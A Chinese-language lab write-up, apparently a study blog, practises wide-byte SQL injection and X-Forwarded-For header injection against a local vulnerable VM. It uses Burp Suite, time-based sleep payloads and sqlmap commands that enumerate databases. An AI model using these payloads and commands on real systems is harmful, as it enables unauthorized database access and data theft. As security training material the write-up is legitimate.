Abstract: 练习宽字节注入和请求头 IP 注入

Table of Contents

  1. 宽字节注入
  2. 请求头 IP 注入
  3. 问题与总结

宽字节注入

打开 burpsuite 抓取数据包

username 后面加上 %df%27,请求页面,发现没有变化,主要是因为 POST 传输不需要 URL 解码,点击 Hex,找到 username 的位置,把 1 后面的字符改成 df27

返回查看数据,把多余的字符删除。

点击 Go,查看 Response,发现页面变化了,即找到了注入点。

尝试使用时间注入,修改 Request 如下,

点击 Go 发现页面,没有延迟。很可能是 .ova 文件导入过来,数据库并没有数据造成的,在网页上注册一个用户,再次运行,可以发现响应延迟了 1s 左右。

删除多余的 *,再在我们想要注入的地方加入 *,右击保存文件。

接下来,使用 sqlmap 测试。

1
sqlmap -r Desktop\wideType.txt # wideType.txt 存放的是HTTP响应的数据

可以发现漏洞,但是最新版的 sqlmap 在脱裤时,会出现问题。

1
sqlmap -r "C:\Users\han\Desktop\wideType.txt" --dbs

请求头 IP 注入

数据库中更新用户 IP

1
2
# 更新 IP
UPDATE USER SET last_loginip='8.8.8.8' WHERE `username`='zhang';

想要注入,首先得进行前 ' 的闭合和注释掉后 '

1
UPDATE USER SET last_loginip='8.8.8.8' /*此处插入想要执行的语句*/ #' WHERE `username`='zhang';
1
UPDATE USER SET last_loginip='8.8.8.8' and WHERE id=1 and sleep(5) #' WHERE `username`='zhang';

使用 Modify Headers 添加 X-Forwarded-For 设置为 8.8.8.8',先注册一个用户。用户名 123,密码 123

burpsuite 抓取数据包

X-Forwarded-For 后面补充 where 1=1 and sleep(5),点击 Go

等待 5s 后,页面有响应。由此可找到注入点,把 where id=1 and sleep(5) 改成 where id = 1 * ,删除请求其他 * 号,保存到文件里。开始用 sqlmap 执行 payload

把注入点修改为 where 1=1 or sleep(5) 页面没有延迟,原因是 1=1 or sleep(5) 短路原理,故 sleep(5) 压根就没有执行。

使用 where 1=1 and sleep(5) ,我们可以看出来延迟了将近 15s。关于 1=1 or 条件1=2 and 条件 的短路原理,在前几篇文章写过,但真正在实战中确实还是容易忘掉。

1
sqlmap -r "C:\Users\han\Desktop\ip.txt"
1
(custom) HEADER parameter 'X-Forwarded-For #1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable

可以使用 --technique T 指定时间注入,缩短时间。

1
sqlmap -r "C:\Users\han\Desktop\ip.txt" --technique T --dbs

问题与总结

关于 SQLmap 自定义注入点的思考:

  1. 先通过 burpsuite 抓取数据包,尝试找到注入点。
  2. 找到注入点后,分析使用布尔盲注还是时间盲注,在 burpsuite 中的 Repeater 模块中通过在请求内容中增加 SQL 语句尝试。
  3. 在注入点中,把添加 SQL 语句中能够做修改的地方改写成 *
    • 老司机例子中,定位到 username 存在宽字节注入,后面写上 or if((select 1 and 1=1), sleep(3), 1) 发现响应延迟,那 payload 该放在那呢?首先能够确定的是,必然在 select 1 and 1=1 这句话里面,if 关键字第一个表达式必须是布尔型,所以直接在 1=1* 号即可。
    • 留言板 例子中,通过对 SQL 语句的猜想,可以知道要在 X-Forwarded-For: 8.8.8.8' 后面加上 where 1=1 and sleep(5) # 在本例中,可以修改为 where 1=1* 即可。